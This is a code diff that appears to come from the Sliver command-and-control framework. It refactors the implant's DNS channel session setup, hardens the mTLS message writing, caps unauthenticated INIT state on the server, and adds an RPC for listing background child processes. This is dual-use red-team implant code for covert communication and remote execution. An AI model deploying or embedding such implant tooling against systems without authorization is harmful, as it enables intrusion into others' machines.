return errors.New("[mtls] send called with nil yamux session")
}
stream, err := muxSession.Open()
if err != nil {
return err
}
if isNilInterface(stream) {
return errors.New("[mtls] open returned nil stream")
}
defer stream.Close()
return mtls.WriteEnvelope(stream, envelope)
},
@@ -46,6 +46,7 @@ import (
"encoding/binary"
"errors"
"hash/crc32"
"net"
"net/url"
"strconv"
"strings"
@@ -278,24 +279,23 @@ func (s *SliverDNSClient) SessionInit() error {
}
s.resolvers = []DNSResolver{}
for _, server := range s.resolvConf.Servers {
address, port := splitResolverAddress(server, s.resolvConf.Port)
s.resolvers = append(s.resolvers,
NewGenericResolver(server, s.resolvConf.Port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
NewGenericResolver(address, port, s.retryWait, s.retryCount, s.queryTimeout, s.parent),
)
}
// {{if .Config.Debug}}
log.Printf("[dns] found resolvers: %v", s.resolvConf.Servers)
// {{end}}
err = s.getDNSSessionID() // Get a 'dns session id'
if err != nil {
return err
}
s.fingerprintResolvers() // Fingerprint the resolvers
if len(s.resolvers) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no working resolvers!")
// {{end}}
return errNoResolvers
// Generate a random session ID locally. The server will only allocate state
// after a successful INIT, which avoids an unauthenticated session bootstrap.
if s.dnsSessionID == 0 {
sid, err := s.randomDNSSessionID()
if err != nil {
return err
}
s.dnsSessionID = sid
}
// Key agreement with server
@@ -308,39 +308,40 @@ func (s *SliverDNSClient) SessionInit() error {
// {{end}}
return err
}
resolver, _ := s.randomResolver()
initMsg := &dnspb.DNSMessage{
ID: s.nextMsgID(),
Type: dnspb.DNSMessageType_INIT,
Size: uint32(len(initData)),
}
respData, err := s.sendInit(resolver, s.base32, initMsg, initData)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[dns] init msg send failure %v", err)
// {{end}}
return err
}
if len(respData) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no data received in message")
// {{end}}
return ErrEmptyResponse
var respData []byte
var initErr error
for _, resolver := range s.resolvers {
respData, initErr = s.sendInit(resolver, s.base32, initMsg, initData)
if initErr != nil {
continue
}
if len(respData) < 1 {
initErr = ErrEmptyResponse
continue
}
data, err := s.cipherCtx.Decrypt(respData)
if err != nil {
initErr = err
continue
}
if binary.LittleEndian.Uint32(data)&sessionIDBitMask != s.dnsSessionID {
initErr = errInvalidDNSSessionID
continue
}
initErr = nil
break
}
data, err := s.cipherCtx.Decrypt(respData)
if err != nil {
if initErr != nil {
// {{if .Config.Debug}}
log.Printf("[dns] init msg decryption failure %v", err)
log.Printf("[dns] init msg send failure %v", initErr)
// {{end}}
return err
}
if binary.LittleEndian.Uint32(data)&sessionIDBitMask != s.dnsSessionID {
// {{if .Config.Debug}}
log.Printf("[dns] init msg dns session id mismatch")
// {{end}}
return err
return initErr
}
// Good to go!
@@ -348,6 +349,16 @@ func (s *SliverDNSClient) SessionInit() error {
log.Printf("[dns] key exchange was successful!")
// {{end}}
// Now that we have a server-side session, benchmark/fingerprint resolvers and
// drop ones that error.
s.fingerprintResolvers()
if len(s.resolvers) < 1 {
// {{if .Config.Debug}}
log.Printf("[dns] no working resolvers!")
// {{end}}
return errNoResolvers
}
// {{if .Config.Debug}}
log.Printf("[dns] starting worker(s) ...")
// {{end}}
@@ -778,40 +789,19 @@ func (s *SliverDNSClient) SplitBuffer(msg *dnspb.DNSMessage, encoder encoders.En
return subdata, nil
}
func (s *SliverDNSClient) getDNSSessionID() error {
otpMsg, err := s.otpMsg()
if err != nil {
return err
}
otpDomain, err := s.joinSubdataToParent(otpMsg)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("[dns] Fetching dns session id via '%s' ...", otpDomain)
// {{end}}
var a []byte
for _, resolver := range s.resolvers {
a, _, err = resolver.A(otpDomain)
if err == nil {
break
func (s *SliverDNSClient) randomDNSSessionID() (uint32, error) {
// sessionID is 24-bit and must be non-zero.
randBuf := make([]byte, 4)
for {
_, err := rand.Read(randBuf)
if err != nil {
return 0, err
}
sid := binary.LittleEndian.Uint32(randBuf) & sessionIDBitMask
if sid != 0 {
return sid, nil
}
}
if err != nil {
return err // All resolvers failed
}
if len(a) < 1 {
return errInvalidDNSSessionID
}
s.dnsSessionID = binary.LittleEndian.Uint32(a) & sessionIDBitMask
if s.dnsSessionID == 0 {
return errInvalidDNSSessionID
}
// {{if .Config.Debug}}
log.Printf("[dns] dns session id: %d", s.dnsSessionID)
// {{end}}
return nil
}
func (s *SliverDNSClient) loadResolvConf() error {
@@ -847,6 +837,24 @@ func (s *SliverDNSClient) loadResolvConf() error {
return err
}
func splitResolverAddress(server string, defaultPort string) (string, string) {
server = strings.TrimSpace(server)
if server == "" {
return "", defaultPort
}
// Allow tests/operators to specify an explicit port, e.g. "127.0.0.1:5353"
// or "[::1]:5353". Raw IPv6 addresses in resolv.conf typically do not include
// a port and will fail SplitHostPort, in which case we fall back to defaultPort.
if host, port, err := net.SplitHostPort(server); err == nil {
return host, port
}
if strings.HasPrefix(server, "[") && strings.HasSuffix(server, "]") {
return strings.TrimSuffix(strings.TrimPrefix(server, "["), "]"), defaultPort
}
return server, defaultPort
}
// Joins subdata to the parent domain, you must have already done the math to
// ensure the subdata can fit in the domain
func (s *SliverDNSClient) joinSubdataToParent(subdata string) (string, error) {
@@ -893,19 +901,6 @@ func (s *SliverDNSClient) clearMsg(msgId uint32) (string, error) {
return string(msg), nil
}
func (s *SliverDNSClient) otpMsg() (string, error) {
otpMsg := &dnspb.DNSMessage{
Type: dnspb.DNSMessageType_TOTP,
ID: uint32(0), // Take advantage of the variable length encoding
}
data, err := proto.Marshal(otpMsg)
if err != nil {
return "", err
}
msg, _ := s.base32.Encode(data)
return string(msg), nil
}
// fingerprintResolver - Fingerprints resolve to validate base32 transport.
func (s *SliverDNSClient) fingerprintResolvers() {
wg := &sync.WaitGroup{}
@@ -230,28 +230,17 @@ func clientSplitBuffer(t *testing.T, client *SliverDNSClient, encoder encoders.E
}
}
func TestOTPMsgRoundTrip(t *testing.T) {
func TestRandomDNSSessionID(t *testing.T) {
client := NewDNSClient(parent1, opts)
encoded, err := client.otpMsg()
sid, err := client.randomDNSSessionID()
if err != nil {
t.Fatalf("Unexpected otpMsg error: %s", err)
t.Fatalf("Unexpected randomDNSSessionID error: %s", err)
}
if !isBase32String(encoded) {
t.Fatalf("otpMsg contains non-base32 characters: %s", encoded)
if sid == 0 {
t.Fatal("expected non-zero dns session id")
}
raw, err := encoders.Base32{}.Decode([]byte(encoded))
if err != nil {
t.Fatalf("Unexpected otpMsg decode error: %s", err)
}
msg := &dnspb.DNSMessage{}
if err := proto.Unmarshal(raw, msg); err != nil {
t.Fatalf("Unexpected otpMsg unmarshal error: %s", err)
}
if msg.Type != dnspb.DNSMessageType_TOTP {
t.Fatalf("Unexpected otpMsg type: %v", msg.Type)
}
if msg.ID != 0 {
t.Fatalf("Unexpected otpMsg id: %d", msg.ID)
if (sid & ^uint32(sessionIDBitMask)) != 0 {
t.Fatalf("expected 24-bit session id, got: 0x%08x", sid)
}
}
@@ -22,6 +22,7 @@ import (
"crypto/rand"
"encoding/binary"
"errors"
"net"
"strings"
"time"
@@ -44,7 +45,7 @@ func NewGenericResolver(address string, port string, retryWait time.Duration, re
retries = 1
}
return &GenericResolver{
address: address + ":" + port,
address: net.JoinHostPort(address, port),
retries: retries,
retryWait: retryWait,
resolver: &dns.Client{
+45 -11
View File
@@ -21,7 +21,6 @@ package mtls
// {{if .Config.IncludeMTLS}}
import (
"bytes"
"crypto/ed25519"
"crypto/sha256"
"crypto/tls"
@@ -30,6 +29,7 @@ import (
"errors"
"fmt"
"io"
"reflect"
"sync"
"time"
@@ -90,43 +90,77 @@ func mtlsEnvelopeSigningKey() (ed25519.PrivateKey, uint64, error) {
return envelopeSigningPriv, envelopeSigningKeyID, envelopeSigningErr
}
func isNilInterface(v any) bool {
if v == nil {
return true
}
rv := reflect.ValueOf(v)
switch rv.Kind() {
case reflect.Chan, reflect.Func, reflect.Map, reflect.Pointer, reflect.Interface, reflect.Slice:
return rv.IsNil()
default:
return false
}
}
func writeAll(w io.Writer, p []byte) error {
for len(p) > 0 {
n, err := w.Write(p)
if err != nil {
return err
}
if n <= 0 {
return io.ErrShortWrite
}
p = p[n:]
}
return nil
}
// WriteEnvelope - Writes a message to the TLS socket using length prefix framing
// which is a fancy way of saying we write the length of the message then the message
// e.g. [uint32 length|message] so the receiver can delimit messages properly
func WriteEnvelope(w io.Writer, envelope *pb.Envelope) error {
if envelope == nil {
return errors.New("[mtls] nil envelope")
}
if isNilInterface(w) {
return errors.New("[mtls] nil writer")
}
data, err := proto.Marshal(envelope)
if err != nil {
// {{if .Config.Debug}}
log.Print("Envelope marshaling error: ", err)
// {{end}}
return err
return fmt.Errorf("[mtls] marshal envelope: %w", err)
}
signingKey, keyID, err := mtlsEnvelopeSigningKey()
if err != nil {
return err
return fmt.Errorf("[mtls] envelope signing key: %w", err)
}
rawSigBuf := make([]byte, cryptography.RawSigSize)
binary.LittleEndian.PutUint16(rawSigBuf[:2], cryptography.EdDSA)
binary.LittleEndian.PutUint64(rawSigBuf[2:10], keyID)
copy(rawSigBuf[10:], ed25519.Sign(signingKey, data))
if _, werr := w.Write(rawSigBuf); werr != nil {
return werr
if werr := writeAll(w, rawSigBuf); werr != nil {
return fmt.Errorf("[mtls] write raw signature: %w", werr)
}
dataLengthBuf := new(bytes.Buffer)
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
if _, werr := w.Write(dataLengthBuf.Bytes()); werr != nil {
var dataLengthBuf [4]byte
binary.LittleEndian.PutUint32(dataLengthBuf[:], uint32(len(data)))
if werr := writeAll(w, dataLengthBuf[:]); werr != nil {
// {{if .Config.Debug}}
log.Print("Error writing data length: ", werr)
// {{end}}
return werr
return fmt.Errorf("[mtls] write data length: %w", werr)
}
if _, werr := w.Write(data); werr != nil {
if werr := writeAll(w, data); werr != nil {
// {{if .Config.Debug}}
log.Print("Error writing data: ", werr)
// {{end}}
return werr
return fmt.Errorf("[mtls] write data: %w", werr)
}
return nil
}
@@ -0,0 +1,47 @@
package mtls
import (
"bytes"
"crypto/tls"
"testing"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
)
func TestWriteEnvelope_NilEnvelope(t *testing.T) {
t.Parallel()
var buf bytes.Buffer
if err := WriteEnvelope(&buf, nil); err == nil {
t.Fatalf("expected error for nil envelope")
}
}
func TestWriteEnvelope_NilWriter(t *testing.T) {
t.Parallel()
defer func() {
if r := recover(); r != nil {
t.Fatalf("WriteEnvelope panicked: %v", r)
}
}()
if err := WriteEnvelope(nil, &pb.Envelope{}); err == nil {
t.Fatalf("expected error for nil writer")
}
}
func TestWriteEnvelope_NilTLSConnWriter(t *testing.T) {
t.Parallel()
defer func() {
if r := recover(); r != nil {
t.Fatalf("WriteEnvelope panicked: %v", r)
}
}()
var conn *tls.Conn
if err := WriteEnvelope(conn, &pb.Envelope{}); err == nil {
t.Fatalf("expected error for nil *tls.Conn writer")
}
}
+17
View File
@@ -0,0 +1,17 @@
package transports
import "reflect"
// isNilInterface returns true if v is nil, or if v is an interface value holding a nil pointer.
func isNilInterface(v any) bool {
if v == nil {
return true
}
rv := reflect.ValueOf(v)
switch rv.Kind() {
case reflect.Chan, reflect.Func, reflect.Map, reflect.Pointer, reflect.Interface, reflect.Slice:
return rv.IsNil()
default:
return false
}
}
+28 -2
View File
@@ -25,7 +25,9 @@ import (
// {{end}}
// {{if or .Config.IncludeMTLS .Config.IncludeWG}}
"errors"
"strconv"
// {{end}}
// {{if .Config.Debug}}
@@ -45,8 +47,6 @@ import (
// {{end}}
// {{if .Config.IncludeWG}}
"errors"
"github.com/bishopfox/sliver/implant/sliver/transports/wireguard"
"golang.zx2c4.com/wireguard/device"
@@ -257,6 +257,13 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
if err != nil {
return err
}
if conn == nil {
errMsg := ""
// {{if .Config.Debug}}
errMsg = "mtls connection returned nil conn"
// {{end}}
return errors.New(errMsg)
}
if _, err := conn.Write([]byte(mtls.YamuxPreface)); err != nil {
conn.Close()
return err
@@ -266,6 +273,14 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
conn.Close()
return err
}
if muxSession == nil {
conn.Close()
errMsg := ""
// {{if .Config.Debug}}
errMsg = "[mtls] failed to create yamux session (nil)"
// {{end}}
return errors.New(errMsg)
}
connection.IsOpen = true
go func() {
@@ -292,6 +307,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
connection.Cleanup()
return
}
if isNilInterface(stream) {
connection.Cleanup()
return
}
defer stream.Close()
if err := mtls.WriteEnvelope(stream, envelope); err != nil {
connection.Cleanup()
@@ -315,6 +334,10 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
connection.Cleanup()
return
}
if isNilInterface(stream) {
connection.Cleanup()
return
}
defer stream.Close()
if err := mtls.WritePing(stream); err != nil {
connection.Cleanup()
@@ -346,6 +369,9 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
if err != nil {
return
}
if isNilInterface(stream) {
return
}
select {
case streamSem <- struct{}{}:
+12 -19
View File
@@ -24,7 +24,6 @@ type DNSMessageType int32
const (
DNSMessageType_NOP DNSMessageType = 0 // aka FINGERPRINT
DNSMessageType_TOTP DNSMessageType = 1
DNSMessageType_INIT DNSMessageType = 2
DNSMessageType_POLL DNSMessageType = 3
DNSMessageType_CLOSE DNSMessageType = 4
@@ -38,7 +37,6 @@ const (
var (
DNSMessageType_name = map[int32]string{
0: "NOP",
1: "TOTP",
2: "INIT",
3: "POLL",
4: "CLOSE",
@@ -49,7 +47,6 @@ var (
}
DNSMessageType_value = map[string]int32{
"NOP": 0,
"TOTP": 1,
"INIT": 2,
"POLL": 3,
"CLOSE": 4,
@@ -89,10 +86,7 @@ func (DNSMessageType) EnumDescriptor() ([]byte, []int) {
//
//NOTE: DNS is very space sensitive so certain fields are re-purposed
//depending on the DNSMessageType as noted below:
//
//[Type TOTP]: ID field is used for the TOTP code
//
//depending on the DNSMessageType.
type DNSMessage struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
@@ -194,19 +188,18 @@ var file_dnspb_dns_proto_rawDesc = []byte{
0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x53, 0x74, 0x6f, 0x70, 0x12, 0x12, 0x0a, 0x04,
0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65,
0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04,
0x44, 0x61, 0x74, 0x61, 0x2a, 0x87, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4d, 0x65, 0x73, 0x73,
0x44, 0x61, 0x74, 0x61, 0x2a, 0x83, 0x01, 0x0a, 0x0e, 0x44, 0x4e, 0x53, 0x4d, 0x65, 0x73, 0x73,
0x61, 0x67, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4e, 0x4f, 0x50, 0x10, 0x00,
0x12, 0x08, 0x0a, 0x04, 0x54, 0x4f, 0x54, 0x50, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x4e,
0x49, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x50, 0x4f, 0x4c, 0x4c, 0x10, 0x03, 0x12, 0x09,
0x0a, 0x05, 0x43, 0x4c, 0x4f, 0x53, 0x45, 0x10, 0x04, 0x12, 0x0c, 0x0a, 0x08, 0x4d, 0x41, 0x4e,
0x49, 0x46, 0x45, 0x53, 0x54, 0x10, 0x06, 0x12, 0x13, 0x0a, 0x0f, 0x44, 0x41, 0x54, 0x41, 0x5f,
0x54, 0x4f, 0x5f, 0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e, 0x54, 0x10, 0x07, 0x12, 0x15, 0x0a, 0x11,
0x44, 0x41, 0x54, 0x41, 0x5f, 0x46, 0x52, 0x4f, 0x4d, 0x5f, 0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e,
0x54, 0x10, 0x08, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x45, 0x41, 0x52, 0x10, 0x09, 0x42, 0x2c,
0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73,
0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72,
0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72,
0x6f, 0x74, 0x6f, 0x33,
0x12, 0x08, 0x0a, 0x04, 0x49, 0x4e, 0x49, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x50, 0x4f,
0x4c, 0x4c, 0x10, 0x03, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x4f, 0x53, 0x45, 0x10, 0x04, 0x12,
0x0c, 0x0a, 0x08, 0x4d, 0x41, 0x4e, 0x49, 0x46, 0x45, 0x53, 0x54, 0x10, 0x06, 0x12, 0x13, 0x0a,
0x0f, 0x44, 0x41, 0x54, 0x41, 0x5f, 0x54, 0x4f, 0x5f, 0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e, 0x54,
0x10, 0x07, 0x12, 0x15, 0x0a, 0x11, 0x44, 0x41, 0x54, 0x41, 0x5f, 0x46, 0x52, 0x4f, 0x4d, 0x5f,
0x49, 0x4d, 0x50, 0x4c, 0x41, 0x4e, 0x54, 0x10, 0x08, 0x12, 0x09, 0x0a, 0x05, 0x43, 0x4c, 0x45,
0x41, 0x52, 0x10, 0x09, 0x22, 0x04, 0x08, 0x01, 0x10, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69,
0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66,
0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62,
0x75, 0x66, 0x2f, 0x64, 0x6e, 0x73, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var (
+3 -6
View File
@@ -4,7 +4,7 @@ option go_package = "github.com/bishopfox/sliver/protobuf/dnspb";
enum DNSMessageType {
NOP = 0; // aka FINGERPRINT
TOTP = 1;
reserved 1; // formerly TOTP
INIT = 2;
POLL = 3;
CLOSE = 4;
@@ -17,10 +17,7 @@ enum DNSMessageType {
/*
NOTE: DNS is very space sensitive so certain fields are re-purposed
depending on the DNSMessageType as noted below:
[Type TOTP]: ID field is used for the TOTP code
depending on the DNSMessageType.
*/
message DNSMessage {
DNSMessageType Type = 1;
@@ -29,4 +26,4 @@ message DNSMessage {
uint32 Stop = 4; // Bytes stop at
uint32 Size = 5; // Total size
bytes Data = 6; // Actual data
}
}
File diff suppressed because it is too large. Load diff
+1
View File
@@ -195,6 +195,7 @@ service SliverRPC {
rpc Migrate(clientpb.MigrateReq) returns (sliverpb.Migrate);
rpc Execute(sliverpb.ExecuteReq) returns (sliverpb.Execute);
rpc ExecuteWindows(sliverpb.ExecuteWindowsReq) returns (sliverpb.Execute);
rpc ExecuteChildren(sliverpb.ExecuteChildrenReq) returns (sliverpb.ExecuteChildren);
rpc Sideload(sliverpb.SideloadReq) returns (sliverpb.Sideload);
rpc SpawnDll(sliverpb.InvokeSpawnDllReq) returns (sliverpb.SpawnDll);
rpc Screenshot(sliverpb.ScreenshotReq) returns (sliverpb.Screenshot);
+36
View File
@@ -169,6 +169,7 @@ type SliverRPCClient interface {
Migrate(ctx context.Context, in *clientpb.MigrateReq, opts ...grpc.CallOption) (*sliverpb.Migrate, error)
Execute(ctx context.Context, in *sliverpb.ExecuteReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
ExecuteWindows(ctx context.Context, in *sliverpb.ExecuteWindowsReq, opts ...grpc.CallOption) (*sliverpb.Execute, error)
ExecuteChildren(ctx context.Context, in *sliverpb.ExecuteChildrenReq, opts ...grpc.CallOption) (*sliverpb.ExecuteChildren, error)
Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error)
SpawnDll(ctx context.Context, in *sliverpb.InvokeSpawnDllReq, opts ...grpc.CallOption) (*sliverpb.SpawnDll, error)
Screenshot(ctx context.Context, in *sliverpb.ScreenshotReq, opts ...grpc.CallOption) (*sliverpb.Screenshot, error)
@@ -1458,6 +1459,15 @@ func (c *sliverRPCClient) ExecuteWindows(ctx context.Context, in *sliverpb.Execu
return out, nil
}
func (c *sliverRPCClient) ExecuteChildren(ctx context.Context, in *sliverpb.ExecuteChildrenReq, opts ...grpc.CallOption) (*sliverpb.ExecuteChildren, error) {
out := new(sliverpb.ExecuteChildren)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/ExecuteChildren", in, out, opts...)
if err != nil {
return nil, err
}
return out, nil
}
func (c *sliverRPCClient) Sideload(ctx context.Context, in *sliverpb.SideloadReq, opts ...grpc.CallOption) (*sliverpb.Sideload, error) {
out := new(sliverpb.Sideload)
err := c.cc.Invoke(ctx, "/rpcpb.SliverRPC/Sideload", in, out, opts...)
@@ -2181,6 +2191,7 @@ type SliverRPCServer interface {
Migrate(context.Context, *clientpb.MigrateReq) (*sliverpb.Migrate, error)
Execute(context.Context, *sliverpb.ExecuteReq) (*sliverpb.Execute, error)
ExecuteWindows(context.Context, *sliverpb.ExecuteWindowsReq) (*sliverpb.Execute, error)
ExecuteChildren(context.Context, *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error)
Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error)
SpawnDll(context.Context, *sliverpb.InvokeSpawnDllReq) (*sliverpb.SpawnDll, error)
Screenshot(context.Context, *sliverpb.ScreenshotReq) (*sliverpb.Screenshot, error)
@@ -2634,6 +2645,9 @@ func (UnimplementedSliverRPCServer) Execute(context.Context, *sliverpb.ExecuteRe
func (UnimplementedSliverRPCServer) ExecuteWindows(context.Context, *sliverpb.ExecuteWindowsReq) (*sliverpb.Execute, error) {
return nil, status.Errorf(codes.Unimplemented, "method ExecuteWindows not implemented")
}
func (UnimplementedSliverRPCServer) ExecuteChildren(context.Context, *sliverpb.ExecuteChildrenReq) (*sliverpb.ExecuteChildren, error) {
return nil, status.Errorf(codes.Unimplemented, "method ExecuteChildren not implemented")
}
func (UnimplementedSliverRPCServer) Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error) {
return nil, status.Errorf(codes.Unimplemented, "method Sideload not implemented")
}
@@ -5115,6 +5129,24 @@ func _SliverRPC_ExecuteWindows_Handler(srv interface{}, ctx context.Context, dec
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_ExecuteChildren_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.ExecuteChildrenReq)
if err := dec(in); err != nil {
return nil, err
}
if interceptor == nil {
return srv.(SliverRPCServer).ExecuteChildren(ctx, in)
}
info := &grpc.UnaryServerInfo{
Server: srv,
FullMethod: "/rpcpb.SliverRPC/ExecuteChildren",
}
handler := func(ctx context.Context, req interface{}) (interface{}, error) {
return srv.(SliverRPCServer).ExecuteChildren(ctx, req.(*sliverpb.ExecuteChildrenReq))
}
return interceptor(ctx, in, info, handler)
}
func _SliverRPC_Sideload_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
in := new(sliverpb.SideloadReq)
if err := dec(in); err != nil {
@@ -6645,6 +6677,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
MethodName: "ExecuteWindows",
Handler: _SliverRPC_ExecuteWindows_Handler,
},
{
MethodName: "ExecuteChildren",
Handler: _SliverRPC_ExecuteChildren_Handler,
},
{
MethodName: "Sideload",
Handler: _SliverRPC_Sideload_Handler,
+5
View File
@@ -355,6 +355,9 @@ const (
// MsgShellResizeReq - Resize a shell PTY
MsgShellResizeReq
// MsgExecuteChildrenReq - List tracked background execute child processes
MsgExecuteChildrenReq
)
// Constants to replace enums
@@ -460,6 +463,8 @@ func MsgNumber(request proto.Message) uint32 {
return MsgIfconfig
case *ExecuteReq:
return MsgExecuteReq
case *ExecuteChildrenReq:
return MsgExecuteChildrenReq
case *TerminateReq:
return MsgTerminateReq
case *Terminate:
File diff suppressed because it is too large. Load diff
+27
View File
@@ -517,6 +517,7 @@ message ExecuteReq {
string Stderr = 5;
bool EnvInheritance = 6;
map<string, string> Env = 7;
bool Background = 8;
uint32 PPid = 10;
@@ -531,6 +532,7 @@ message ExecuteWindowsReq {
string Stderr = 5;
bool UseToken = 6;
bool HideWindow = 7;
bool Background = 8;
uint32 PPid = 10;
commonpb.Request Request = 9;
@@ -545,6 +547,31 @@ message Execute {
commonpb.Response Response = 9;
}
message ExecuteChildrenReq {
commonpb.Request Request = 9;
}
message ExecuteChild {
int32 Pid = 1;
string Path = 2;
repeated string Args = 3;
int64 StartTime = 4;
bool Exited = 5;
int32 ExitCode = 6;
int64 ExitTime = 7;
string Stdout = 8;
string Stderr = 11;
string Error = 12;
}
message ExecuteChildren {
repeated ExecuteChild Children = 1;
commonpb.Response Response = 9;
}
message SideloadReq {
bytes Data = 1;
string ProcessName = 2;
+185 -66
View File
@@ -21,14 +21,12 @@ package c2
We've put a little effort to making the server at least not super easily fingerprintable,
though I'm guessing it's also still not super hard to do. The server must receive a valid
TOTP code before we start returning any non-error records. All requests must be formatted
as valid protobuf and contain a 24-bit "dns session ID" (16777216 possible values), and a
8 bit "message ID." The server only responds to non-TOTP queries with valid dns session IDs
16,777,216 can probably be bruteforced but it'll at least be slow.
protobuf and contain a 24-bit "dns session ID" (16777216 possible values), and a 8 bit
"message ID." 16,777,216 can probably be bruteforced but it'll at least be slow.
DNS command and control outline:
1. Implant sends TOTP encoded message to DNS server, server checks validity
2. DNS server responds with the "DNS Session ID" which is just some random value
1. Implant generates a random DNS Session ID and sends an INIT (Age key exchange)
2. DNS server validates INIT and allocates session state
3. Requests with valid DNS session IDs enable the server to respond with CRC32 responses
4. Implant establishes encrypted session
@@ -44,6 +42,7 @@ import (
"sort"
"strings"
"sync"
"sync/atomic"
"time"
consts "github.com/bishopfox/sliver/client/constants"
@@ -66,6 +65,17 @@ const (
messageIDBitMask = 0xff000000 // Bitwise mask to get the message ID
defaultMaxTXTLength = 254
// Upper bound on unauthenticated init reassembly state. INIT is split across multiple
// DNS queries, so we cap the number of pending init messages to avoid unbounded memory use.
defaultMaxPendingDNSInits = 1024
// Pending INIT messages are expected to complete quickly. If they don't, expire them.
defaultPendingDNSInitTTL = 2 * time.Minute
defaultPendingDNSInitGCInterval = 30 * time.Second
// INIT carries only key-exchange material and should remain small.
defaultMaxDNSInitSize = 16 * 1024
)
var (
@@ -78,7 +88,7 @@ var (
)
// StartDNSListener - Start a DNS listener
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool, enforceOTP bool) *SliverDNSServer {
func StartDNSListener(bindIface string, lport uint16, domains []string, canaries bool) *SliverDNSServer {
// StartPivotListener()
server := &SliverDNSServer{
server: &dns.Server{Addr: fmt.Sprintf("%s:%d", bindIface, lport), Net: "udp"},
@@ -86,8 +96,8 @@ func StartDNSListener(bindIface string, lport uint16, domains []string, canaries
messages: &sync.Map{}, // In progress message streams
TTL: 0,
MaxTXTLength: defaultMaxTXTLength,
EnforceOTP: enforceOTP,
}
server.startInitGC()
dnsLog.Infof("Starting DNS listener for %v (canaries: %v) ...", domains, canaries)
dns.HandleFunc(".", func(writer dns.ResponseWriter, req *dns.Msg) {
started := time.Now()
@@ -103,6 +113,9 @@ type DNSSession struct {
ImplantConn *core.ImplantConnection
CipherCtx *cryptography.CipherContext
Created time.Time
lastSeen atomic.Int64 // unix nanos
dnsIdMsgIdMap map[uint32]uint32
outgoingMsgIDs []uint32
outgoingBuffers map[uint32][]byte
@@ -113,6 +126,10 @@ type DNSSession struct {
msgCount uint32
}
func (s *DNSSession) touch(now time.Time) {
s.lastSeen.Store(now.UnixNano())
}
func (s *DNSSession) msgID(id uint32) uint32 {
return uint32(id<<24) | uint32(s.ID)
}
@@ -256,6 +273,13 @@ type PendingEnvelope struct {
complete bool
}
// pendingInit tracks the reassembly state for an INIT message (which may arrive
// split across multiple DNS queries).
type pendingInit struct {
Created time.Time
Envelope *PendingEnvelope
}
// Reassemble - Reassemble a completed message
func (p *PendingEnvelope) Reassemble() ([]byte, error) {
// There's some weird race here with a nil pointer
@@ -316,11 +340,23 @@ type SliverDNSServer struct {
messages *sync.Map
TTL uint32
MaxTXTLength int
EnforceOTP bool
pendingInits atomic.Int64
gcStopOnce sync.Once
gcStop chan struct{}
gcDone chan struct{}
}
// Shutdown - Shutdown the DNS server
func (s *SliverDNSServer) Shutdown() error {
s.gcStopOnce.Do(func() {
if s.gcStop != nil {
close(s.gcStop)
if s.gcDone != nil {
<-s.gcDone
}
}
})
return s.server.Shutdown()
}
@@ -329,6 +365,56 @@ func (s *SliverDNSServer) ListenAndServe() error {
return s.server.ListenAndServe()
}
func (s *SliverDNSServer) startInitGC() {
// Tests construct SliverDNSServer directly; only start GC for real listeners.
if s.gcStop != nil {
return
}
s.gcStop = make(chan struct{})
